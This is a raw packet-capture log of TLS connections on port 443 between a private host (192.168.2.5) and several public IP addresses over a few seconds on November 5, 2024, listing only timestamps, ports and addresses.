Nov 5, 2024 22:44:24.785856962 CET	443	49873	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.786087990 CET	49873	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.787039042 CET	49873	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.787054062 CET	443	49873	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.811671019 CET	443	49864	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.811955929 CET	443	49864	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.812145948 CET	49864	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.812166929 CET	49864	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.812179089 CET	443	49864	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.812187910 CET	49864	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.812194109 CET	443	49864	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.815042019 CET	49874	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.815080881 CET	443	49874	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.815532923 CET	49874	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.815671921 CET	49874	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.815687895 CET	443	49874	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.829099894 CET	443	49865	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.829216003 CET	443	49865	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.829577923 CET	49865	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.829606056 CET	49865	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.829616070 CET	443	49865	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.829631090 CET	49865	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.829636097 CET	443	49865	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.832279921 CET	49875	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.832297087 CET	443	49875	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.832556009 CET	49875	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.832756042 CET	49875	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.832767963 CET	443	49875	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.833959103 CET	49869	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.833993912 CET	49870	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.834011078 CET	49871	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.834498882 CET	49876	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.834510088 CET	443	49876	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.834570885 CET	49876	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.834990025 CET	49876	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.835001945 CET	443	49876	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.835697889 CET	49877	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.835705996 CET	443	49877	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.836169958 CET	49877	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.836941004 CET	49877	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.836951017 CET	443	49877	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.940373898 CET	443	49867	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.943341970 CET	49867	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.943360090 CET	443	49867	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.943851948 CET	49867	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.943856955 CET	443	49867	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.057463884 CET	443	49868	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.068239927 CET	49868	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.068260908 CET	443	49868	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.068727016 CET	49868	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.068733931 CET	443	49868	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.075522900 CET	443	49867	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.076199055 CET	443	49867	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.076270103 CET	49867	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.076446056 CET	49867	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.076452971 CET	443	49867	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.076476097 CET	49867	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.076479912 CET	443	49867	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.147573948 CET	49878	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.147627115 CET	443	49878	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.147696972 CET	49878	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.156328917 CET	49878	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.156353951 CET	443	49878	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.201750040 CET	443	49868	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.202788115 CET	443	49868	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.202893019 CET	49868	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.211617947 CET	49868	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.211630106 CET	443	49868	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.211638927 CET	49868	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.211644888 CET	443	49868	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.223330975 CET	49879	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.223344088 CET	443	49879	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.223715067 CET	49879	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.223999023 CET	49879	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.224009991 CET	443	49879	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.432102919 CET	443	49872	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.505052090 CET	49872	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.541152000 CET	49872	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.541157961 CET	443	49872	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.541965961 CET	49872	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.541970968 CET	443	49872	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.544317961 CET	443	49874	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.555938005 CET	49874	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.555943966 CET	443	49874	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.559277058 CET	49874	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.559279919 CET	443	49874	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.564599037 CET	443	49875	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.578324080 CET	49875	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.578351974 CET	443	49875	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.584721088 CET	49875	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.584727049 CET	443	49875	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.649703979 CET	443	49873	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:25.649790049 CET	49873	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:25.668230057 CET	443	49872	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.668459892 CET	443	49872	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.668534994 CET	49872	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.677119017 CET	443	49876	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:25.677220106 CET	49876	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:25.677759886 CET	443	49876	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:25.677822113 CET	49876	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:25.688329935 CET	443	49874	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.688371897 CET	443	49874	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.688446045 CET	49874	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.696854115 CET	443	49877	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:25.696954966 CET	49877	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:25.697484016 CET	443	49877	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:25.697537899 CET	49877	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:25.714095116 CET	443	49875	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.714169979 CET	443	49875	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.714718103 CET	49875	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.722537041 CET	49875	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.722548008 CET	443	49875	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.722557068 CET	49875	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.722565889 CET	443	49875	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.760839939 CET	49873	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:25.760853052 CET	443	49873	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:25.761055946 CET	443	49873	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:25.761107922 CET	49873	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:25.794900894 CET	49872	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.794917107 CET	443	49872	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.794928074 CET	49872	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.794933081 CET	443	49872	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.797137976 CET	49874	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.797142029 CET	443	49874	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.840883017 CET	49877	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:25.840894938 CET	443	49877	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:25.841099977 CET	443	49877	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:25.841145992 CET	49877	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:25.842092037 CET	49877	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:25.883330107 CET	443	49877	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:25.883579969 CET	49873	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:25.888024092 CET	49876	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:25.888036013 CET	443	49876	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:25.888257980 CET	443	49876	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:25.888309956 CET	49876	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:25.889580965 CET	49876	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:25.896218061 CET	49881	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.896239996 CET	443	49881	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.896307945 CET	49881	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.903649092 CET	49882	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.903686047 CET	443	49882	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.903742075 CET	49882	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.904582024 CET	49883	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.904593945 CET	443	49883	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.904659986 CET	49883	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.904851913 CET	49883	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.904864073 CET	443	49883	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.904931068 CET	49881	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.904939890 CET	443	49881	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.920320034 CET	49882	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.920331955 CET	443	49882	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.922389984 CET	443	49878	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.923217058 CET	49878	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.923235893 CET	443	49878	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.923980951 CET	49878	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.923988104 CET	443	49878	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.931329966 CET	443	49873	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:25.935327053 CET	443	49876	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:25.968462944 CET	443	49879	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.988080025 CET	49879	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.988092899 CET	443	49879	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:25.988694906 CET	49879	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:25.988698959 CET	443	49879	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.057230949 CET	443	49878	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.057800055 CET	443	49878	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.057857037 CET	49878	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.057900906 CET	49878	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.057913065 CET	443	49878	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.057925940 CET	49878	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.057930946 CET	443	49878	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.060549021 CET	49884	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.060586929 CET	443	49884	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.060661077 CET	49884	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.060786963 CET	49884	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.060801983 CET	443	49884	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.126177073 CET	443	49879	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.126245022 CET	443	49879	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.126295090 CET	49879	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.126569033 CET	49879	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.126579046 CET	443	49879	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.126589060 CET	49879	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.126593113 CET	443	49879	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.128910065 CET	49885	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.128932953 CET	443	49885	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.129029036 CET	49885	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.129172087 CET	49885	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.129184008 CET	443	49885	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.201145887 CET	443	49877	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:26.201210022 CET	49877	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.201224089 CET	443	49877	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:26.201268911 CET	49877	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.201409101 CET	49877	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.201437950 CET	443	49877	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:26.201487064 CET	49877	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.202027082 CET	49887	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.202028036 CET	49886	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:26.202049017 CET	443	49886	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:26.202050924 CET	443	49887	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:26.202141047 CET	49887	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.202184916 CET	49886	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:26.202430010 CET	49886	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:26.202445984 CET	443	49886	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:26.202559948 CET	49887	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.202570915 CET	443	49887	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:26.278443098 CET	443	49876	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:26.278501987 CET	49876	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.278508902 CET	443	49876	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:26.278551102 CET	49876	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.278611898 CET	49876	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.278640032 CET	443	49876	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:26.278686047 CET	49876	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.279108047 CET	49888	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.279139996 CET	443	49888	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:26.279196024 CET	49888	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.279422045 CET	49888	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:26.279437065 CET	443	49888	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:26.327327967 CET	443	49873	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:26.327392101 CET	49873	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:26.327409983 CET	443	49873	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:26.327447891 CET	49873	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:26.327773094 CET	443	49873	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:26.327809095 CET	49873	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:26.327815056 CET	443	49873	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:26.327857018 CET	49873	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:26.328144073 CET	49873	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:26.328171968 CET	443	49873	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:26.328224897 CET	49873	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:26.328649998 CET	49889	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:26.328665972 CET	443	49889	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:26.328726053 CET	49889	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:26.328941107 CET	49889	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:26.328950882 CET	443	49889	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:26.646205902 CET	443	49881	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.646770954 CET	49881	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.646789074 CET	443	49881	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.647391081 CET	49881	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.647394896 CET	443	49881	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.658320904 CET	443	49882	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.658600092 CET	49882	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.658616066 CET	443	49882	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.658910036 CET	49882	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.658915043 CET	443	49882	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.678994894 CET	443	49883	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.679250002 CET	49883	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.679258108 CET	443	49883	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.679572105 CET	49883	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.679575920 CET	443	49883	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.776151896 CET	443	49881	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.776298046 CET	443	49881	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.776371002 CET	49881	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.776489019 CET	49881	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.776500940 CET	443	49881	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.776510954 CET	49881	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.776516914 CET	443	49881	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.779514074 CET	49890	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.779529095 CET	443	49890	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.779608011 CET	49890	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.779773951 CET	49890	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.779784918 CET	443	49890	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.789108992 CET	443	49882	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.789231062 CET	443	49882	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.789294004 CET	49882	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.789315939 CET	49882	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.789329052 CET	443	49882	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.789346933 CET	49882	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.789352894 CET	443	49882	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.791361094 CET	49891	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.791388988 CET	443	49891	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.791456938 CET	49891	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.791569948 CET	49891	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.791582108 CET	443	49891	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.821707964 CET	443	49883	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.821765900 CET	443	49883	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.821933985 CET	49883	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.821954012 CET	49883	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.821954012 CET	49883	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.821963072 CET	443	49883	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.821970940 CET	443	49883	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.824067116 CET	49892	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.824095964 CET	443	49892	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.824165106 CET	49892	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.824285030 CET	49892	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.824294090 CET	443	49892	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.835772038 CET	443	49884	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.838977098 CET	49884	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.838994026 CET	443	49884	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.839524984 CET	49884	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.839530945 CET	443	49884	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.867295027 CET	443	49885	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.867808104 CET	49885	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.867825031 CET	443	49885	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.868267059 CET	49885	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.868273020 CET	443	49885	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.972167969 CET	443	49884	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.972326994 CET	443	49884	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.972418070 CET	49884	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.972700119 CET	49884	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.972718000 CET	443	49884	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.972728968 CET	49884	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.972733974 CET	443	49884	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.976495028 CET	49895	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.976516962 CET	443	49895	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:26.976605892 CET	49895	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.976763964 CET	49895	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:26.976773024 CET	443	49895	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:27.009675026 CET	443	49885	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:27.010662079 CET	443	49885	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:27.010806084 CET	49885	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:27.010852098 CET	49885	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:27.010859966 CET	443	49885	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:27.010870934 CET	49885	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:27.010875940 CET	443	49885	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:27.013513088 CET	49896	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:27.013540983 CET	443	49896	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:27.013736963 CET	49896	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:27.013889074 CET	49896	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:27.013900042 CET	443	49896	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:27.060100079 CET	443	49886	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:27.060252905 CET	49886	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:27.062355995 CET	443	49887	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:27.062460899 CET	49887	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:27.063072920 CET	443	49887	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:27.063134909 CET	49887	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:27.063693047 CET	49886	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:27.063700914 CET	443	49886	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:27.063919067 CET	443	49886	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:27.063983917 CET	49886	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:27.064430952 CET	49886	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:27.064565897 CET	49887	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:27.064572096 CET	443	49887	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:27.064771891 CET	443	49887	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:27.066593885 CET	49887	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:27.066905975 CET	49887	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:27.111320019 CET	443	49887	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:27.111329079 CET	443	49886	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:27.175023079 CET	443	49888	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:27.175096035 CET	49888	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:27.175683975 CET	443	49888	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:27.175730944 CET	49888	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:27.178241014 CET	49888	443	192.168.2.5	172.217.23.110
